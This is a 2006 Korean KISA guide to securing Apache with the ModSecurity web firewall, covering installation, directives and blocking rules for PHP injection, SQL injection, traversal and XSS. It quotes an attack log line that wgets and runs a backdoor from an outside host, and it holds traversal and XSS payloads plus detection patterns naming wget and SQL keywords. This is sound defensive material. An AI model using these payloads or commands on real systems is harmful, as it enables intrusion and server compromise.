ModSecurity를 이용한 아파치 웹서버 보안

KISA는 본 문서에서 언급한 modsecurity 및 해당 도구 개발사인 ThinkingStone사와 어떠한 관계도 없으며, 국내 웹 해킹 피해 예방을 위해 공개 웹방화벽인 modsecurity를 보안 참고용으로 소개합니다.

2006. 3. 14

KrCERT/CC
인터넷침해사고대응지원센터

KISA 한국정보보호진흥원
Korea Information Security Agency

1. 개요

ModSecurity는 Apache 웹 서버를 위한 오픈 소스 웹 방화벽이다.

ModSecurity는 소스의 재사용 및 재생산된 프로그램의 소스 공개 조건의 GNU GPL 라이센스를 따르는 공개 버전과 ModSecurity의 개발사인 Thinking Stone社의 상업용 버전이 있는데 본 고에서는 공개 버전을 이용한 설치 및 운영 방법을 알아본다.

ModSecurity는 O'Reilly사에서 출간한 "Apache Security"라는 책을 쓴 Ivan Ristic가 개발한 툴로써, 설치 및 차단 Rule 설정 인터페이스가 불편하다는 단점은 있지만 공격차단 기능은 상당히 우수하다. Apache는 중소기업이나 웹호스팅업체에서 많이 사용하고 있는 공개 웹서버로써, 이들 중소기업에 고가의 상용 웹방화벽 설치가 어려운 경우가 많다. 이 경우 ModSecurity는 다양한 웹 공격을 효과적으로 막는데 많은 도움을 줄 수 있을 것이다. 하지만, 다수의 웹서버를 운영하는 대규모 기업이나 복잡한 웹 환경을 가진 기업의 경우 인터페이스 및 기술지원 측면에서 보다 우수한 상용 웹 방화벽 도입을 권고한다.

본 고에서는 공개용 ModSecurity를 이용한 아파치 웹서버의 보안 강화방안을 살펴보고, 특히 국내에서 홈페이지 변조사고에 이용되고 있는 PHP Injection 공격에 대응하기 위하여 ModSecurity에서 어떻게 설정해야 할지 중점적으로 살펴보고, 웹서버의 가장 일반적인 공격인 SQL Injection, XSS 등 다양한 웹 공격에 대한 방어 방법도 살펴보도록 한다.

이 툴은 웹 공격에 대한 침입탐지 및 침입방지 기능을 추가해 주는 아파치 웹서버의 하나의 모듈로 동작한다. 웹 클라이언트와 아파치 웹 서버 사이에 ModSecurity가 존재하여 클라이언트로부터 악의적인 접속요청이 발견되면 공격차단, 로깅 등 사전에 정의된 행위를 수행한다.

다른 아파치 모듈과 마찬가지로 ModSecurity를 아파치의 한 부분으로 설치할 수 있으며, 정상적으로 설치되었을 경우 ModSecurity의 추가적인 처리로부터 발생되는 오버헤더는 거의 없다.

ModSecurity의 주요 특징은 다음과 같다.

o 요청(request) 필터링
- 클라이언트로부터 웹요청이 들어올 때 웹서버 또는 다른 모듈들이 처리하기 전에 ModSecurity가 요청 내용을 분석하여 사전에 필터링한다.

o 우회 방지 기술
- 경로와 파라미터를 분석하기 전에 정규화시켜 우회 공격을 차단한다.
- 즉, "//", "\/", ".", "%00" 등 우회 공격용 스트링을 제거하고, 인코딩된 URL을 디코딩한다.

o HTTP 프로토콜 이해
- 엔진이 HTTP 프로토콜을 이해하기 때문에 아주 전문적이고 미세한 필터링을 수행할 수 있다.

o POST 페이로드(payload) 분석
- GET 방식 뿐만 아니라 POST 메소드를 사용해서 전송되는 컨텐츠도 가로채어 분석할 수 있다.

o 감사 로깅
- POST를 포함하여 모든 요청의 모든 상세한 부분들까지 추후 분석을 위해서 로깅될 수 있다.
- MosSecurity에서 차단기능을 비활성화시킨 후, 강력한 로깅 기능만으로 침입탐지 시스템 역할을 수행할 수 있도록 한다.

o HTTPS 필터링
- 엔진은 웹서버에 임베디드되어 있기 때문에 복호화 한 후에 요청 데이터에 접근하여 HTTPS를 통한 공격도 필터링할 수 있다.

2. ModSecurity 설치

먼저 본 고에서는 다음 환경에서 ModSecurity를 설치하여 테스트하였다.

o 플랫폼 : Linux 2.6.8-2-686-smp
o 웹서버 : Apache 2.2.0
o ModSecurity 소스코드 디렉토리 : /usr/local/modsecurity-apache-1.9.2
o 아파치 소스코드 디렉토리 : /usr/local/httpd-2.2.0
o 아파치 웹서버 홈 디렉토리 : /usr/local/apache2

ModSecurity는 2006년 2월 현재 안정화 버전은 1.9.2이다. 이 보다 최신 기능을 가진 버전을 사용할 수 있으나 아직 안정성이 보장되지 않았으므로 가급적 안정화 버전 사용을 권고한다.

설치방법은 크게 2가지가 있는데 소스를 통해 설치하는 방법과 바이너리 파일을 통해 설치하는 방법이 있다. 바이너리 파일을 통한 설치는 윈도우즈 버전의 아파치를 사용하거나 컴파일러가 없을 경우에 사용하면 좋다. 본고에서는 소스를 통한 설치 방법을 알아보도록 한다.

□ ModSecurity 프로그램 다운로드

설치하고자 하는 안정화 버전인 1.9.2는 다음 사이트에서 다운로드 받을 수 있다.
http://www.modsecurity.org/download/modsecurity-apache-1.9.2.tar.gz

다운로드 받은 후 다음의 명령으로 압축 및 패키징을 해제한다.

```
# tar xvzf modsecurity-apache-1.9.2.tar.gz
# cd modsecurity-apache-1.9.2; ls -al
linux-web:/usr/local# cd modsecurity-apache-1.9.2; ls -al
total 84
drwxr-xr-x   6 1000   1000   4096 2006-01-17 03:36 .
drwxrwsr-x  12 root staff   4096 2006-02-22 16:07 ..
```

```
drwxr-xr-x    2 1000   1000    4096 2006-01-17 03:36 apache1
drwxr-xr-x    2 1000   1000    4096 2006-01-17 03:36 apache2
-rw-r--r--    1 1000   1000   26381 2006-01-16 21:31 CHANGES
drwxr-xr-x    3 1000   1000    4096 2006-01-17 03:37 doc
-rw-r--r--    1 1000   1000    1811 2006-01-09 21:33 httpd.conf.example-minimal
-rw-r--r--    1 1000   1000     881 2005-11-01 22:52 INSTALL
-rw-r--r--    1 1000   1000   17989 2003-05-29 05:36 LICENSE
-rw-r--r--    1 1000   1000     994 2006-01-09 23:45 README
drwxr-xr-x    2 1000   1000    4096 2006-01-17 03:36 util
```

소스를 통한 설치 방법에도 웹서버 초기설치시 웹서버 자체에 모듈을 설치하는 방식과 운영되고 있는 웹서버에 mod_security.c만을 컴파일하여 포함시키는 동적공유객체(DSO, Dynamic shared object) 방식 등 두 가지가 있다.

□ ModSecurity 프로그램 설치

▷ DSO 방식 설치

DSO 방식은 아파치 웹서버의 재설치 과정없이 기존에 운영되고 있는 아파치 웹서버에 모듈을 동적으로 추가하는 방식이므로 기존에 아파치 웹서버를 이미 운영 중인 기관의 경우 DSO 방식을 선택하는 것을 권장한다. DSO 방식으로 설치하는 것은 아파치 버전에 상관없이 다음과 같이 설치할 수 있다.

① apxs를 이용하여 ModSecurity 모듈을 컴파일하고, 설치하고, 설정을 자동으로 변경한다.

```
# /usr/local/apache2/bin/apxs -cia /usr/local/modsecurity-apache-1.9.2/apache2/mod_security.c
```

위의 명령은 mod_security.c를 컴파일 하고(-c 옵션), 공유객체를 웹서버 modules 디렉토리에 설치하고(-i 옵션), 아파치 httpd.conf 설정파일에 적절한 LoadModule 줄을 추가(-a 옵션)한다. 참고로 apxs는 아파치 웹서버의 확장모듈을 컴파일하고 설치하는 도구로써, 여러 소스와 오브젝트파일을 LoadModule 지시어로 실행 중인 아파치 서버로 읽어 들일 수 있는 동적공유객체(DSO)를 만든다. 위의 결과로 modules 디렉토리에 mod_security.so가 생성되고 httpd.conf 파일에 “LoadModule security_module modules/mod_security.so” 라인이 추가된다.

② 위의 과정으로 모듈이 정상적으로 설치되었는지 확인한다.

```
linux-web:/usr/local/apache2/bin# ./httpd -l
Compiled in modules:
  core.c
  ...
  mod_security.c
  ...
  mod_so.c
```

③ 아파치 웹서버를 재구동한다.

```
# <apache-home>/bin/apachectl stop
# <apache-home>/bin/apachectl start
```

여기까지 ModSecurity의 모듈 설치가 끝났으나, 아직 룰(Rule)에 대한 정의를 하지 않았으므로 공격을 방어하지는 못한다. 이를 구동하기 위해서는 다음 장의 ModSecurity 활성화 및 Rule 정의를 위한 환경설정을 살펴보도록 하자.

▷ 소스 컴파일을 통한 설치

DSO 방식이 아닌 정적으로 소스 컴파일 될 경우에는 ModSecurity 모듈이 웹서버의 body에 포함되게 된다. 이 방법은 DSO 방식에 비해 다소 실행 속도가 빠르지만, 아파치 웹서버를 다시 새롭게 설치해야 하고 설치가 약간 복잡한 단점이 있다.

또한, 아파치 버전에 따라 설치를 위한 사전 설정을 달리 해 주어야 한다.

<아파치 1.x의 경우>

```
$ cd <apache1-source>
$ cp <modsecurity-source>/apache1/mod_security.c ./src/modules/extra
$ ./configure --activate-module=src/modules/extra/mod_security --enable-module=security
```

<아파치 2.x의 경우>

```
$ cd <apache2-source>
$ cp <modsecurity-source>/apache2/mod_security.c ./modules/proxy
$ ./configure -enable-security --with-module=proxy:mod_security.c
```

아파치 1.x 또는 아파치 2.x에서 위의 과정을 거친 후에, 일반적인 아파치 컴파일과 설치 과정을 거치면 된다.

```
make
make install
/usr/local/apache2/bin/apachectl start
```

DSO 방식과는 달리 소스 컴파일을 통한 설치시에는 httpd.conf 파일에 아무런 내용이 추가되지 않는다. DSO 방식과 마찬가지로 ModSecurity를 활성화시키기 위해서는 다음 장의 ModSecurity 활성화 및 Rule 정의를 위한 환경설정이 필요하다.

3. ModSecurity 활성화 및 Rule 정의

ModSecurity를 설치하였다고 해서 바로 웹 방화벽 기능이 적용되는 것은 아니다. 이를 적용시키기 위해서는 아파치 웹서버 환경설정 파일(httpd.conf)의 <IfModule> 태그 안에 설정 지시자(directive)를 정의해 주어야 한다.

```
<IfModule mod_security.c>
    # mod_security configuration directives
    # ...
</IfModule>
```

또는 ModSecurity를 위한 별도의 환경설정 파일을 만들고 이를 httpd.conf에 포함시킬 수 있다.

만약 "<apache_home>/conf/modsecurity.conf" 라는 이름으로 ModSecurity 웹방화벽을 위한 환경설정 파일을 별도로 만들었을 경우 httpd.conf 파일에 다음과 같이 이 파일을 포함시켜 줄 수 있다.

```
Include conf/modsecurity.conf
```

ModSecurity를 위한 Rule이 다양하고, 내외부 웹 환경에 따라 Rule 변경이 지속적으로 필요하여 별도의 파일을 이용하는 것이 좀 더 편리할 것으로 생각된다.

ModSecurity는 다양한 기능의 설정을 위해서 상당히 많은 지시자들이 존재하는데 이를 일일이 직접 작성하여 적용하기는 쉽지 않을 것이다. 따라서 아래 ModSecurity 홈페이지에서 제공하는 Rule template을 자신의 웹 환경에 맞게 커스트마이징 하는 것이 보다 용이할 것이다.

http://www.modsecurity.org/projects/rules/index.html

이 사이트에는 기본적인 Rule과 함께 PHP 환경, 출력 필터 등 몇 가지 Rule template가 있으므로 이들을 참고해 보자. 또는 본 고의 부록에 기본적인 Apache+PHP+MySQL 환경에 적합한 Rule 예를 제시하고 있으므로 이를 참고해 보기 바란다.

여기에서는 <IfModule> 태그 안에 들어갈 지시자들 중 기본적인 지시자들을 알아보도록 한다. 상당히 다양한 지시자가 있으므로 자세한 것은 아래 매뉴얼을 참고해 보기 바란다.

http://www.modsecurity.org/documentation/modsecurity-apache-manual-1.9.2.pdf

가. 기본 환경설정

SecFilterEngine On

ModSecurity 기능을 활성화(enable) 시킨다.
- o On : ModSecurity 기능 활성화
- o Off : ModSecurity 기능 비활성화

※ ModSecurity 제거할 경우에는 SecFilterEngine 지시자를 "Off"로 설정

SecFilterScanPOST On

POST 메소드의 payload를 점검한다.
ModSecurity는 다음과 같은 2가지 타입으로 인코딩된 Request body를 지원한다.

- o application/x-www-form-urlencoded (Form 데이터 전송시 사용)
- o multipart/form-data (파일 전송시 사용)

다른 인코딩 타입은 대부분의 웹 어플리케이션에서 사용되지는 않는다.

SetEnvIfNoCase Content-Type \ "^multipart/form-data;" "MODSEC_NOPOSTBUFFERING=Do not buffer file uploads"

각 요청별로 POST payload 점검을 비활성화할 수 있다. 환경변수 MODSEC_NOPOSTBUFFERING이 정의되어 있으면 POST payload 버퍼링을 하지 않는다.

SecFilterDefaultAction "deny,log,status:404"

룰이 요청에 일치하면 하나 또는 그 이상의 행위(action)가 발생된다. 각각의 필터별로 행위를 정의할 수 있지만 모든 필터들을 위한 기본 행위 집합을 정의하면 편리하다. 모든 필터에 적용될 수 있는 디폴트 행위는 SecFilterDefaultAction 지시자로 정의할 수 있다. 위의 예는 각 룰에 일치할 경우 접속요청을 차단하고, 로그를 남기고, 상태코드 404 보내는 예이다.

하지만, ModSecurity를 처음 설치한 후 설정을 튜닝하는 과정에서는 “log,pass"와 같이 로그만 남기고 실제 차단하지 않게 할 수도 있다. 왜냐하면 정상적인 웹 요청이 차단될 수 있으므로 먼저 로그에서 이러한 정상적인 요청이 필터와 일치하여 차단될 수 있는지 검증할 필요가 있다.

앞서 SecFilterDefaultAction 지시자로 필터링 규칙에 일치할 경우 기본적으로 어떤 행위(Action)를 하게 할 것인지에 대해 간단히 알아보았다. 그러면 필터링 규칙에 일치할 경우 일어날 수 있는 행위의 종류에 대해 알아보자. 먼저, 행위는 다음과 같은 3가지 종류로 나눌 수 있다.

구 분	설 명
Primary action	요청을 계속 진행할 것인지 차단할 것인지를 결정하는 것으로, deny, pass, redirect 중 하나를 선택한다.
Secondary actions	Primary action에 의한 결정과는 독립적으로 수행되는 것으로 exec와 같은 몇 개의 secondary action들이 있다.
Flow actions	필터 룰의 흐름을 변경할 수 있는 것으로 다른 룰로 점프하게 하거나 몇 개의 룰을 건너 띄게 할 수 있다. Flow action에는 chain과 skip이 있다.

앞서 SecFilterDefaultAction 지시자에 의한 기본 적용 action의 예에서는 콤마(,)로 구분된 3개의 action을 정의하고 있다. 취할 수 있는 대표적인 행위는 다음 표와 같다.

행 위	설 명
pass	필터에 일치할 경우 요청을 그냥 허용한다. 이 action은 아무런 행위를 하지 않고 그냥 로그만 남겨 침입을 모니터링하거나 초기 환경설정시 유용할 수 있다. 예) SecFilter KEYWORD "log,pass"
allow	pass에 비해 좀더 강력한 버전으로 이 action이 수행된 후 다른 필터는 적용시키지 않고 곧바로 요청을 허용하게 된다. 예) SecFilterSelective REMOTE_ADDR "^192\.168\.2\.99$" allow 위의 예는 관리자 컴퓨터(192.168.2.99)에서의 접속은 항상 허용하도록 하고 있다.
deny	필터가 일치할 경우 요청 처리를 차단한다. 상태 action(status)이 명시적으로 같이 사용되지 않으면 ModSecurity는 “HTTP 500 error code"를 반환한다.
status	요청이 거부되었을 경우 HTTP 상태를 제공한다. 예) SecFilter KEYWORD "deny,status:404"
redirect	필터가 일치하면 사용자를 주어진 URL로 리다이렉트 시킨다. 예) SecFilter KEYWORD "redirect:http://www.krcert.or.kr/warn.html"
exec	필터가 일치하면 특정 바이너리를 실행시킨다. 실행될 파일은 전체 경로를 지정해 주어야 한다. 예) SecFilter KEYWORD "exec:/home/ivanr/report-attack.pl"
log	아파치 에러 로그(error_log)에 기록한다.
nolog	필터가 일치해도 기록하지 않으며, “audit logging"도 일어나지 않도록 한다.
pause	요청에 대한 응답을 하기 전에 정의된 수 milliseconds 동안 중지시킨다. 이는 웹 스캐너를 느리게 하거나 완전히 교란시킴으로써 스캔 공격을 억제시킬 수도 있다. 어떤 스캐너는 중지 시간이 너무 길면 스캐닝을 포기한다.
auditlog	트랜젝션 정보를 audit log(SecAuditLog 지시자에 의해 파일명 지정)에 기록한다.
noauditlog	트랜젝션 정보를 audit log에 기록하지 않는다.

SecFilterCheckURLEncoding On

특수문자들은 URL에 전송되기 전에 인코딩될 필요가 있다. %XY(XY는 16진수) 형태의 문자들은 일반 텍스트 문자로 변환된다.

나. 사용자 Rule 정의

필터링 엔진이 활성화되면 유입되는 모든 요청이 웹서버에 의해 처리되어지기 전에 가로채어지고 분석되어진다. 앞서 환경설정 지시자들에 의해 웹요청 형태가 유효한지 등이 점검된 후 두 번째 단계로 웹요청은 일련의 사용자 정의 필터를 거치게 된다. 사용자에 의해 정의될 수 있는 대표적인 필터들은 다음과 같다.

SecFilter KEYWORD [ACTIONS]

가장 단순한 형태의 필터링으로 특정 키워드에 의한 필터를 정의할 수 있다. SecFilter 지시자는 웹 요청의 첫 번째 라인에서 특정 키워드가 일치하는지 점검하고, "SecFilterScanPOST On" 설정이 되어 있을 경우에는 body까지 점검한다. 이 때 키워드는 대소문자를 구분하지 않는다.

만일 "SecFilter /bin/sh"와 같이 디렉토리를 포함한 키워드 필터링을 설정해 놓았을 경우 공격자는 "/bin/./sh"와 같이 필터를 우회하여 공격할 수 있다.

따라서, ModSecurity에서는 다음과 같이 공격자가 우회할 수 있는 특정 문자열을 자동으로 변환하여 키워드 필터링을 우회할 수 없도록 하고 있다.

변환 전	변환 후	비고
\	/	윈도우 시스템에서 적용
/./	/	
//	/	
URL 인코딩된 문자열	URL 디코딩된 문자열	

키워드는 단순한 text가 아닌 정규 표현식으로 다양한 필터 규칙을 만들어 낼 수 있다. 키워드에서 "!" 문자를 맨 앞에 넣어서 표현식을 반대로 적용할 수도 있다. 가령, "SecFilter !php" 같이 하여 "php" 문자를 포함하지 않는 모든 요청은 거절할 수도 있다.

SecFilterSelective LOCATION KEYWORD [ACTIONS]

앞서 SecFilter 지시자를 이용한 필터링은 적용이 너무 광범위한 단점이 있다. 이러한 단점을 보완하여 실제 유용하게 사용될 수 있는 지시자가 SecFilterSelective이다. 이 지시자는 SecFilter 지시자에서 LOCATION 부분이 추가 되었는데 해당 키워드를 어느 위치에서 찾을 것인지 지정해서 보다 정확한 필터링을 할 수 있도록 한다. LOCATION 변수는 다음과 같이 파이프(|)로 구분된 일련의 위치 확인자로 구성된다.

```
SecFilterSelective "REMOTE_ADDR|REMOTE_HOST" KEYWORD
```

위의 예는 클라이언트의 IP 주소와 호스트 이름에만 키워드가 적용된다. 위치 확인자에 들어갈 수 있는 것은 다음과 같다.

REMOTE_ADDR	SERVER_ADMIN	TIME_MIN
REMOTE_HOST	SERVER_NAME	TIME_SEC
REMOTE_USER	SERVER_ADDR	TIME_WDAY
REMOTE_IDENT	SERVER_PORT	TIME
REQUEST_METHOD	SERVER_PROTOCOL	API_VERSION
SCRIPT_FILENAME	SERVER_SOFTWARE	THE_REQUEST
PATH_INFO	TIME_YEAR	REQUEST_URI
QUERY_STRING	TIME_MON	REQUEST_FILENAME
AUTH_TYPE	TIME_DAY	IS_SUBREQ
DOCUMENT_ROOT	TIME_HOUR	

이 외에도 보다 전문적인 위치 확인자들도 존재하는데 이는 ModSecurity의 매뉴얼을 참조하기 바란다.

SecFilterScanOutput On

아파치 2에서 ModSecurity는 출력 필터를 지원한다. 디폴트로 이 기능은 비활성화되어 있으므로 위와 같이 활성화시켜 주어야 한다. 기존의 입력 필터는 웹요청이 아파치에 의해 처리되기 이전에 실행되지만 출력 필터는 아파치에 의해 웹요청이 처리 완료된 이후에 실행된다.

위와 같이 출력 필터를 설정한 후에 다음과 같이 "OUTPUT" 파라메터를 사용하여 특정 키워드를 가진 출력에 대해 필터링을 할 수 있다.

```
SecFilterSelective OUTPUT "Fatal error:" deny,status:500
ErrorDocument 500 /php-fatal-error.html
```

이와 같이 공격자가 공격 정보로 이용될 수 있는 정보나 특정 명령어 실행 결과 등 Critical한 결과가 실행되어 공격자에게 결과가 전달되는 것을 차단할 수 있다.

출력 필터는 일반 평문 text와 HTML 출력에 대해서만 유용하며, 이미지와 같은 바이너리 컨텐츠에 대해 정규식을 적용한다면 서버가 느려질 수 있다. 디폴트로 ModSecurity는 컨텐츠 타입을 가지고 있지 않거나 "text/plan" 또는 "text/html"을 컨텐츠 타입으로 가진 출력에 대해서만 스캔한다. 스캔하고자 하는 컨텐츠 타입을 바꾸고자 할 경우에는 "SecFilterOutputMimeTypes" 지시자를 이용한다.

```
SecFilterOutputMimeTypes "(null) text/html text/plain"
```

위의 설정은 ModSecurity가 평문 text 파일, HTML 파일 그리고 MIME 타입이 정의되지 않은 파일들에 대해 출력 필터를 적용하게 한다.

출력 필터는 유용한 기능이라고 할 수 있지만 완벽하지는 못하다. 공격자가 모니터링하고 있지 않는 컨텐츠 타입으로 바꾼다든지 출력을 인코딩하는 방법으로 필터를 우회할 가능성이 존재한다.

다. 기타 지시자

SecUploadDir /tmp

ModSecurity는 POST 요청과 multipart/form-data 인코딩을 통하거나 PUT 요청을 통한 파일 업로드를 가로채어 점검할 수 있는 기능이 있다.
ModSecurity는 항상 임시 디렉토리에 파일들을 업로드하게 하는데, 이때 SecUploadDir 지시자를 사용하여 임시 디렉토리를 선택할 수 있다.

SecServerSignature "Microsoft-IIS/5.0"

웹서버는 기본적으로 HTTP 응답에 서버의 정보를 실어서 보낸다. 이 정보는 공격자들이 공격하기 위한 기본 정보가 될 수 있다. 따라서, 이 정보를 SecServerSignature 지시자를 이용하여 바꿈으로써 공격자를 혼돈스럽게 할 수 있다.

SecFilterDebugLog logs/modsec_debug_log

SecFilterDebugLog 지시자는 디버깅 결과를 어디에 기록할 것인지를 정의한다. 위치를 지정해 주는 파라메터가 슬래쉬(/)로 시작하지 않으면 아파치 홈디렉토리로 부터의 상대경로를 의미한다.

SecFilterDebugLevel 1

SecFilterDebugLevel 지시자를 사용하여 디버깅 수준을 얼마나 상세하게 할 것인지를 결정할 수 있다. 과도한 디버깅 수준은 불필요한 로그를 과다 생산할 수 있으므로 문제 발생시 등 특별한 경우에만 상세한 디버깅을 하는 것이 바람직하다.

레벨	설명
0	없음
1	중요 이벤트(error_log에 기록됨)
2	정보 메시지
3	좀더 상세한 정보 메시지

SecAuditEngine On
SecAuditLog logs/audit_log

표준 아파치 로깅은 특정 사용자나 공격자를 추적하기 위해서 부족한 면이 있다. ModSecurity는 SecAuditEngine 지시자를 통해 아파치의 기본 로그 파일(access_log, error_log) 보다 좀 더 상세한 공격 관련 정보를 제공해 줄 수 있다.
SecAuditEngine이 사용할 수 있는 파라메터는 다음과 같다.

- o On : 모든 요청에 대해 로그를 남김
- o Off : 어떠한 요청에 대해서도 로그를 남기지 않음
- o RelevantOnly : 필터에 일치하는 요청에 대해서만 로그를 남김

4. 주요 웹 공격별 Rule 설정 및 ModSecurity 필터링 결과

ModSecurity는 OWASP(http://www.owasp.org)에 언급된 대부분의 취약점에 대해 방어할 수 있는 기능을 가지고 있다. 본 고에서는 ModSecurity가 설치되는 아파치 웹서버 환경에서 가장 많이 발생되고 있는 웹공격인 PHP Injection에 대해 방어할 수 있는 설정 예를 살펴보도록 한다. 또한, 이외에도 SQL Injection, XSS 등 일반적인 웹 공격에 대해서도 어떠한 설정이 필요한지 알아보고 실제 공격이 차단된 결과를 살펴보도록 한다.

PHP Injection 공격

최근 아파치 웹서버 공격에 많이 이용되고 있는 제로보드 PHP Injection 공격이 어떠한 방법으로 이루어지는지 다음의 공격 로그를 통해 확인할 수 있다.

```
victim.com-access_log:xxx.xxx.239.56 - - [30/Aug/2005:06:23:06 +0900] "GET /bbs//include/write.php?dir=http://xx.xxx.br/cse.gif?&cmd=cd%20/tmp;wget%20http://www.xxx.com/0/r0nin;chmod%204777%20r0nin;./r0nin HTTP/1.1" 200 2066
```

공격자는 제로보드의 PHP Injection 취약점을 이용하여 브라질 사이트에 위치한 해킹 프로그램을 피해시스템에서 실행시켰다. 또한 이 해킹프로그램을 통해 /tmp 디렉토리에 "r0nin" 이라는 백도어 프로그램을 설치하였다. 이러한 공격은 최근 국내에서 대규모로 발생되고 있는 웹 변조 사고의 전형적인 예이다.

ModSecurity를 이용하여 이러한 형태의 공격에 대한 차단 방안을 알아보자.
먼저, 공격자가 외부 사이트로 부터의 소스 실행을 막고, “id", "wget" 등 공격에 이용되는 명령 사용을 차단한다.

```
# 파라메터에 URL이 들어 있는 요청을 차단
SecFilterSignatureAction "log,deny,msg:'PHP Injection Attacks'"
SecFilterSelective ARGS_VALUES "^http:/"

# 파라메터에 “ls", "id", "pwd", "wget" 등의 키워드가 있을 경우 차단
SecFilterSignatureAction "log,deny,msg:'Command execution attack'"
SecFilterSelective ARGS_VALUES ";[[:space:]]*(ls|id|pwd|wget)"

# 커맨드 실행 결과를 출력 필터에서 차단
# "id" 명령의 출력 결과 차단
SecFilterSelective OUTPUT "uid=[[:digit:]]+\([[:alnum:]]+\) gid=[[:digit:]]\([[:alnum:]]+\)"

# "ls -l" 명령의 출력 결과 차단
SecFilterSelective OUTPUT "total [[:digit:]]+"

# "wget" 명령의 출력 결과 차단
SecFilterSelective OUTPUT "HTTP request sent, awaiting response"
```

위의 설정에 의해 제로보드의 PHP Injection 취약점을 공격하였을 경우 다음과 같이 차단되는 것을 확인할 수 있다.

```
[Mon Mar 06 10:07:25 2006] [error] [client xxx.xxx.222.28] mod_security: Access denied with code 403. Pattern match "^http:/" at ARGS_VALUES("dir") [msg "PHP Injection Attacks"] [hostname "victim_ip"] [uri "/new/bbs/include/write.php?dir=http://www.xxx.com.br/cse.gif?&cmd=id"]
```

그 외에도 전역변수 GLOBALS를 이용한 공격을 막기 위해서는 다음과 같이 설정한다.

```
SecFilterSelective ARGS_NAMES "(^globals\[|^globals$)"
```

SQL Injection 공격

최근 중국발 공격 등 많은 공격이 SQL Injection 취약점을 이용한 공격이다. 다음과 같이 DB Query를 통해 DB에 대한 삭제, 추가, 열람시도 등을 차단하는 것이 바람직하다.

```
## SQL Injection Attacks
SecFilterSignatureAction "log,deny,msg:'SQL Injection attack'"

# Generic
SecFilterSelective ARGS "delete[[:space:]]+from"
SecFilterSelective ARGS "drop[[:space:]]+database"
SecFilterSelective ARGS "drop[[:space:]]+table"
SecFilterSelective ARGS "drop[[:space:]]+column"
SecFilterSelective ARGS "drop[[:space:]]+procedure"
SecFilterSelective ARGS "create[[:space:]]+table"
SecFilterSelective ARGS "update.+set.+="
SecFilterSelective ARGS "insert[[:space:]]+into.+values"
SecFilterSelective ARGS "select.+from"
SecFilterSelective ARGS "bulk[[:space:]]+insert"
SecFilterSelective ARGS "union.+select"
SecFilterSelective ARGS "or.+1[[:space:]]*=[[:space:]]1"
SecFilterSelective ARGS "alter[[:space:]]+table"
SecFilterSelective ARGS "or 1=1--'"
SecFilterSelective ARGS "'.+--"

# MySQL
SecFilterSelective ARGS "into[[:space:]]+outfile"
SecFilterSelective ARGS "load[[:space:]]+data
SecFilterSelective ARGS "/\*.+\*/"
```

위의 설정에 의해 SQL Injection 공격시도가 아래와 같이 차단된다.

```
[Mon Mar 06 09:57:11 2006] [error] [client xxx.xxx.222.28] mod_security: Warning. Pattern match "delete[[:space:]]+from" at QUERY_STRING [msg "SQL Injection attack"] [hostname "victim_ip"] [uri "/new/bbs/zboard.php?id=bbs&no=24'delete%20from"]
```

Directory traversal 공격

일반적인 웹 요청에서 "../"와 같은 경로는 필요치 않다. 이는 웹을 통해 /etc/passwd와 같이 비 정상적인 웹요청을 위한 경우가 많으므로 차단하는 것이 바람직하다. "../"를 차단하기 위해 다음과 같은 설정을 한다.

```
SecFilter "\.\./"
```

위의 설정에 의해 directory traversal 공격 시도시 다음과 같이 차단되는 것을 확인할 수 있다.

```
[Mon Mar 06 09:52:00 2006] [error] [client xxx.xxx.222.28] mod_security: Access denied with code 403. Error normalising REQUEST_URI: Invalid character detected[0] [hostname "victim_ip"] [uri "/cgi-bin/quickstore.cgi?page=../../../../../../../../../../etc/passwd%00html&cart_id="]
```

XSS(Cross Site Scripting) 공격

XSS는 웹 페이지에 JavaScript와 같은 악성 스크립트를 삽입하여 다른 웹 접속자가 이를 실행시키게 하는 공격이다. 이 공격에 대한 방어는 파라메터 필터링인데 다음과 같이 설정할 수 있다.

```
SecFilterSignatureAction "log,deny,msg:'XSS attack'"
SecFilterSelective ARGS "<script"
SecFilterSelective ARGS "javascript:"
SecFilterSelective ARGS "vbscript:"
SecFilterSelective ARGS "document\.cookie"
SecFilterSelective ARGS "document\.location"
SecFilterSelective ARGS "document\.write"
```

위의 예는 자바스크립트, 비주얼베이직 스크립트 등 스크립트 코드를 차단하고, 스크립트에 의해 쿠키 정보가 노출되는 것을 방지하고 있다.

XSS 공격 시도가 다음과 같이 차단되는 것을 확인할 수 있다.

```
[Mon Mar 06 09:51:55 2006] [error] [client xxx.xxx.222.28] mod_security: Access denied with code 403. Pattern match "^$" at HEADER("Accept") [hostname "victim_ip"] [uri "/cgi-bin/auction/auction.cgi?action=Sort_Page&View=Search&Page=0&Cat_ID=&Lang=English&Search=All&Terms=<script>alert('Vulnerable');</script>&Where=&Sort=Photo&Dir="]
```

시스템 명령어 실행

공격자는 웹을 통해 시스템 디렉토리의 바이너리 파일을 실행하는 경우가 있다. 따라서 웹요청에 다음과 같이 "bin/" 키워드가 있을 경우나 “ls", "id", "pwd", "wget" 등 공격에 많이 이용되고 있는 시스템 명령을 차단시킨다.

```
SecFilterSelective ARGS "bin/"
SecFilterSelective ARGS_VALUES ";[[:space:]]*(ls|id|pwd|wget)"
```

버퍼오버플로우 공격

버퍼오버플로우 공격은 입력값의 크기를 제한하지 않아 입력 버퍼를 넘치게 하여 특정 코드를 실행하게 하는 공격이다. 따라서 다음과 같이 사용자 요청 스트링의 크기를 제한하여 이를 방어할 수 있다.

```
SecFilterByteRange 1 255
```

파일 업로드

파일 업로드를 제한하고 특정 폴더에서만 파일 업로드를 허용할 수 있다. 아래 예에서는 “/upload.php" 이하에서만 파일 업로드가 가능하다.

```
SecFilterSelective HTTP_CONTENT_TYPE multipart/form-data
<Location /upload.php>
    SecFilterInheritance Off
</Location>
```

지금까지 ModSecurity를 이용한 아파치 웹서버의 해킹 차단 방안에 대해 살펴보았다.

ModSecurity는 아파치 웹서버의 작은 모듈이지만 다양한 웹 공격에 대한 강력한 탐지 및 방어 기능을 가지고 있다. 아쉬운 점은 Rule의 설정이 GUI 형태로 제공되지 않고 관리자가 일일이 설정파일에 추가를 해 주어야 하는 불편함이 있다. 하지만 이 Rule 설정도 ModSecurity 홈페이지(http://www.modsecurity.org/projects/rules/index.html)에 몇 개의 Rule 설정 예가 있으므로 이를 참고하면 많은 도움이 될 것이다. 마지막으로 본 고에서는 일반적으로 Apache+PHP+MySQL 환경에 적합한 Rule 설정 예를 부록에 제공하고 있으므로 이를 기본으로 자신의 웹 환경에 맞게 커스트마이징하면 도움이 될 것으로 생각된다.

[부록] ModSecurity Rule 설정 예

```
##### Configuration #####

SecFilterEngine On

SecFilterScanPost On

SecFilterScanOutput Off
